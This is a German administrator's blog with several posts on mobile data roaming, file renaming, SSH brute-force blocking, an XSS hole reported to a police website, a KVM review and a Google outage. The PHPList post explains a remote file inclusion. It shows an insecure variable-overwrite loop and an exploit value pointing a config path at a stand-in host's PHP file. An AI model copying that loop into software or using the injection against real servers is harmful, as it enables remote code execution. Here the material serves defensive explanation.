Administrator's Blog

Derzeit befinde ich mich im Skiurlaub in den österreichischen Alpen (man möge mir daher die mangelnden Updates hier nachsehen). Natürlich ist neben dem iPhone auch der Mini-Vaio mit auf die Reise gegangen. Um Mails abzurufen, reicht das iPhone aus. Wenn es aber via SSH ein Problem zu beheben gibt oder man einfach nur mal komfortabel die Schneehöhen bzw. das Wetter checken will, muss der Vaio ran.

Leider sind die UMTS-Roamingpreise weiterhin eine Frechheit. So kostet meine Web'n'Walk "Flat" (also 5 GByte pro Monat) monatlich um die 50 EUR. Im Ausland soll ich dann aber weiterhin 1,99 EUR pro MByte zahlen - Abzocke pur! Noch unbegreiflicher wird das Ganze für mich aufgrund der Tatsache, dass ich sogar hier in Österreich bei T-Mobile (nur eben AT und nicht DE) eingebucht bin.

Also habe ich mich mal nach Prepaid-Karten umgeschaut, mit denen man hier surfen kann. Bei Hofer (aka ALDI) gibt's für 19,99 EUR eine Karte von YESSS (oder so ähnlich), mit der man 1 GB zur Verfügung hat. Leider liegt hier bei mir mitten in den Bergen das dafür genutzt ORANGE-Netz nicht an. Also war ich gestern in einem A1-Shop (aka Vodafone), wo man mir das "B.FREE Breitband Welcome Paket" verkaufte. Für sagenhafte 14,90 EUR kann ich so innerhalb der nächsten 12 Monate 1 GB versurfen bzw. die SIM-Karte jederzeit wieder aufladen. Ein mehr als fairer Preis.

Leider war die Installation dann nicht so der Hit - und damit meine ich nicht das Einsetzen der SIM-Karte in meinen Vaio! Es scheiterte nämlich an den Zugangsdaten sowie dem APN für den Eintrag in "MWconn", der sich nicht in der mitgelieferten Anleitung fand. Irgendwie sinnfrei, eine SIM ohne diese Info's zu verkaufen, aber naja. Nach einiger Recherche im Netz (natürlich zu je 1,99 EUR pro MB) fand ich dann endlich die benötigten Daten (unter [1] nochmal hinterlegt, falls Jemand mal in die gleiche Lage kommt).

So surfe ich nun also entspannt via EDGE (UMTS liegt hier leider nicht an) und bin zufrieden. Ein Urlaub mit Internet ist einfach noch besser! Was mich allerdings aufregt ist die Tatsache, dass man in Deutschland 600 EUR pro Jahr bezahlt, um Mobil vernünftig online zu sein (kommt mir bitte nicht mit BASE oder solchem Schrott!), während man hier im Grunde das Gleiche für 14,90 EUR bekommt. Ich glaube nämlich kaum, dass ich mit meiner Web'n'Walk - SIM mehr als 1-2 GByte im Jahr verbrauche, da diese nur auf innerdeutschen Reisen oder Urlauben zum Einsatz kommt.

[1]
Einwahlnummer: *99#
APN: a1.net
Benutzer: ppp@a1plus.at
Passwort: ppp

Manchmal ist es nötig, diverse Files in einem Arbeitsgang umzubenennen. So war dies vorhin zum Beispiel nötig, um mehrere hundert Digicam-Bilder mit der Endung .JPG in .jpg umzubenennen, da ein Joomla-Gallery-Plugin nur Bilder mit *.jpg erkennt. Klar hätte man auch das Plugin bearbeiten können, umbenennen erschien hier aber die einfachere Lösung zu sein. Anstatt mühsam ein Bash-Script mit einer Schleife zu schreiben, kann man auch einfach das nette Programm mmv (Multiple Move) benutzen (zu haben als Debian- und Ubuntu-Paket via apt).

So ist es mit dem simplen Befehl

mmv -v '*.JPG' '#1.jpg'

ganz einfach möglich, sämtliche Bilder umzubenennen. Da reguläre Ausdrücke unterstützt werden, ist man mit mmv sehr flexibel, in unserem Fall bleibt durch den Platzhalter #1 auch der Dateiname vor der Endung erhalten.

Ein ganz anderes Problem sind die ständigen Scans und Bruteforce-Angriffe auf offene SSH-Server (Port 22). Zwar sollte man generell SSH von außen (zumindest als root) verbieten oder zumindest den sshd auf einem Port >1024 lauschen lassen, dies ist aber nicht in jedem Fall möglich. Abhilfe schafft hier DenyHosts, da es nach einer definierbaren Anzahl von fehlerhaften Logins die IP des potentiellen Angreifers in die Datei /etc/hosts.deny einträgt, woraufhin das System Netzwerkverkehr von dieser IP aus nicht mehr annimmt. Nach einer ebenfalls konfigurierbaren Zeitspanne werden die IP's dann auch automatisch wieder entfernt.

Aktuell umfasst auf dem entsprechenden System hier die Anzahl der Einträge stolze ~800 IP's mit steigender Tendenz - und zwar seit heute 0 Uhr! Dabei wird eine IP nach 3 fehlerhaften Logins gesperrt. Da sich auch Mailreports verschicken lassen, stach mir dadurch direkt der folgende Eintrag ins Auge:

Added the following hosts to /etc/hosts.deny:
174.129.96.xxx (ec2-174-129-96-xxx.compute-1.amazonaws.com)

Da wird doch nicht etwa eine gemiete Computing-CloudFront von Amazon's Webservices versucht haben, sich hier via SSH Zugang zu verschaffen? Aber klar, es handelt sich dort auch nur um *nix-Systeme, die von irgendwelchen Admins gemietet und gewartet werden, soviel ich weiss. Somit kann es gut sein, dass eine Reihe davon mit Rootkits versehen ist oder zumindest nicht mehr komplette unter der Kontrolle des eigentliches Admins steht ...

Eben las ich, dass phpbb.com gehackt wurde und deshalb die Seite derzeit nicht erreichbar ist. Glücklichweise wurde diesmal nicht (wie schon so oft...) die Forensoftware selbst Opfer der eigenen Sicherheitslücken, sondern eine Installation des Newsletter-Managers PHPList. Das macht es natürlich nicht wirklich besser, erspart mir aber die Suche nach Problemen bzw. Updates der eigenen phpBB-Installationen.

Ich habe hier mal ein paar Fakten aus dem Heise-Forum aufbereitet, die offenbar von Stefan Esser (PHP-Autor und Entwickler des Suhosin-Patches) gepostet wurden:

Grund war ein Remote File Inclusion Problem, das durch einen Superglobals-Overwrite (dabei werden die Superglobalen-Variablen von PHP überschrieben, siehe auch hier) ausgelöst wurde. Hier wurde seitens PHPList schlampig programmiert, um "register_globals=off" zu umgehen oder sowas. Dabei wird beispielsweise oft fälschlicherweise der folgende Code verwendet, um GET/POST/COOKIE-Variablen später einfach verwenden zu können:

foreach ($_REQUEST as $key => $val) {
    $$key = $val;
}

Im Exploit wurde dann die Variable $_SERVER[ConfigFile]=../local-file../ einfach mit $_SERVER[ConfigFile]=ftp://www.bla.com/bad_code.php überschrieben. Da zur Prüfung der Variable dann is_file() benutzt wurde, lieferte PHP keinen Fehler. Seit PHP5 wird stat() nämlich auch vom ftp:// - Protokoll unterstützt.

Der zur Verfügung gestellte Bugfix behebt dieses Problem nun durch eine recht banale Lösung:

if (isset($_REQUEST['_SERVER'])) {
    exit;
}

Hier werden allerdings die zahlreichen anderen Superglobals wie $GLOBALS, $_GET, $_POST, $_REQUEST usw. nicht abgefangen. Damit könnten eventuell weitere Variablen im Script überschrieben werden und das nächste Leck ist offen.

Abhilfe schafft hier zweifelsfrei Suhosin, da hier konsequent GET/POST/COOKIE-Variablen mit den entsprechenden Namen ($_GLOBALS usw.) ignoriert und dementsprechend im Script auch nicht registriert werden. Ich habe eigentlich auf sämtlichen Servern seit einer ganzen Weile Suhosin laufen (via Debian auch als Paket installierbar) und kann nur Positives berichten. Probleme mit Scripten sind mir bisher nicht ein einziges Mal untergekommen.

Im Apache-Errorlog kann man dann, je nach Loglevel, auch die verhinderten Aktionen einsehen. Das sieht dann beispielsweise so aus:

suhosin[3077]: ALERT - tried to register forbidden variable '_REQUEST' through GET variables (attacker '1xx.xxx.xxx.xxx', file '/www/.../index.php')
suhosin[635]: ALERT - configured GET variable value length limit exceeded - dropped variable 'variablen_name' (attacker '1xx.xxx.xxx.xxx', file '/www.../s.php')
suhosin[14381]: ALERT - ASCII-NUL chars not allowed within request variables - dropped variable 'cutepath' (attacker '1xx.xxx.xxx.xxx, file '/www/.../tools.php')

Da sich in den Logs mitunter täglich hunderte solcher Einträge finden lassen, kann ich jedem Webserver-Admin nur empfehlen, PHP mit Suhosin abzusichern!

Heute stöberte ich bezüglich einiger Info's zum Thema auf der Website der Polizei Sachsen. Dabei fiel mir sofort auf, dass der Text auf bestimmten öffentlichen Bereichen der Website teilweise via GET-Variablen an ein ASP-Script weitergegeben wird. Das weckte natürlich sofort meine Neugier.

Als dann ein testweise selbst via URL eingegebener Text ebenfalls auf der Website erschien, war klar, es handelt sich um eine XSS-Lücke. Selbst kompletter HTML-Code lässt sich problemlos einschleusen, wie der Screenshot anhand eines Bildes beweist (der Rest der URL sowie Info's darüber, um welche Unterseite es sich konkret handelt, wurden sicherheitshalber entfernt). Natürlich habe ich die Beamten sofort entsprechend über die Misstände im eigenen Webauftritt via Mail informiert - eine Antwort steht aber bisher noch aus.

Natürlich hoffe ich, dass die Lücke umgehend geschlossen wird, denn mit "seiner eigenen" Polizeiseite, deren URL seriös mit http://polizei.sachsen.de... beginnt, könnte z.B. ein Botnetzbetreiber anhand einiger Millionen Spams massiv Unsinn treiben. In der Vergangenheit war es bisher allerdings leider so, dass gar keine (MediaMarkt, Saturn) oder extreme unprofessionelle Reaktionen (Tchibo.de) auf meine Hinweise erfolgten.

Der tüchtige Admin muss natürlich ab und zu auch mal ins kalte und laute Rechenzentrum, um dort vor Ort an seinen Lieblingen (auch Server genannt) herumzubasteln bzw. Fehler zu beheben. Dabei braucht man natürlich auch Zugriff auf die Shell oder auf den Desktop, sofern es sich um Windows-Server handelt. Um den meistens teuren und oft nicht ausreichend zur Verfügung stehenden Platz in so einem 19"-Rack nicht unnötig mit 15- oder 17"-TFT-Monitoren zu verschwenden (da sind samt Schublade schnell mal 4-5 HE's weg ...), bin ich jetzt im Besitz einer tollen Slide-KVM mit einer Höhe von nur einer einer HE. Da ich kein Fan von KVM-Kabeln bin, da diese Kabelstränge massiv den Serverschrank zumüllen und die Übersicht gegen Null gehen lassen, wenn man mal ein einzelnes Kabel verfolgt, verzichte ich bewusst darauf. Also wird jedes Mal einfach Tastatur und VGA in den jeweiligen Server gesteckt. Da hier keine Windows-Server im Einsatz sind, ist das auch kein Problem. Sonst kann es mit der Maus-Erkennung "on-the-fly" gern mal Probleme geben, da es sich um einen PS/2-Anschluss handelt.

Es handelt sich konkret um die Aten CL1000 (siehe Foto - darunter befindet sich noch ein Server). Das Display macht einen guten Eindruck, wobei natürlich eine Linuxshell nicht unbedingt das ideale Testszenario für einen Monitor ist. Die Tastatur hat einen sehr weichen Druckpunkt, reicht aber für gelegentliche Arbeiten im Rechenzentrum natürlich locker aus. Einen sehr guten Eindruck hingegen macht der Klappmechanismus des Monitors. Da muss man wohl keine Angst haben, dass da was abbricht. Als Mausersatz ist ein Touchpad vorgesehen, dieses wird aber hier ein Schattendasein führen.

Die rund 600 EUR sind also offenbar ganz gut angelegt. Der Preis ist zwar recht hoch, zumindest wenn man die Komponenten mal einzeln anschaut (Tastatur 20 EUR, 17"-Monitor vlt. 100 EUR), die gute Verarbeitung und die Platzersparnis im Rack rechtfertigen diesen aber wohl dennoch. Die Langzeit-Haltbarkeit muss sich allerdings noch bewähren, ebenso steht natürlich der Einbau noch bevor. Und da trotz Standard alle Serverschränke irgendwie anders sind, ist sowas auch immer nochmal eine kleine Hürde

Wie sicher jeder Internetnutzer inzwischen zumindest gelesen hat, war Google am Samstag für rund 45 Minuten nicht benutzbar, da jede Seite fälschlicherweise Malware enthalten sollte. Die zweifelhafte Ursache war ein Slash (das ist ein "/" , als Info für die "\" - verwöhnten Windows-User *g*) in der Blacklist, womit dann alle Seiten als "False Positives" gebrandmarkt wurden. Man musste dann die URL händisch kopieren und in die Adressleiste des Browser einfügen. Daran dürften schonmal 50% der User scheitern ...

Die Sache ansich ist nicht weiter tragisch und kann durchaus mal passieren. Was ich eher als krass empfand, war die Hilflosigkeit - sogar bei mir. Der Traffic auf einigen Webclustern ging zurück, da natürlich normalerweise sonst viele Nutzer von Google kommen. Hätte mich nicht ein Freund sofort via Mail über das Google-Problem informiert, hätte ich den Fehler erstmal auf den eigenen Servern bzw. den Websiten oder Datenbanken gesucht. Ebenso schwierig war es, erste Informationen über das Problem zu bekommen. Heise und Golem meldeten erst, nachdem der Spuk schon wieder vorbei war. Einzig auf Slashdot fand ich zeitnah eine Info zu dem Thema.

Mir hat der Vorfall leider wieder einmal eindrucksvoll gezeigt, wie unschön es in gewisser Weise sein kann, nur auf einen Anbieter zu vertrauen bzw. wie abhängig das gesamte Internet inzwischen von Google ist. Leider haben daran auch keine noch so ambitionierten neuen Projekte (Wikia, Cuil usw.) etwas ändern können. Das wird wohl auch auf absehbare Zeit so bleiben, denn Google liefert nunmal die besten und schnellsten Suchergebnisse - sagt man ...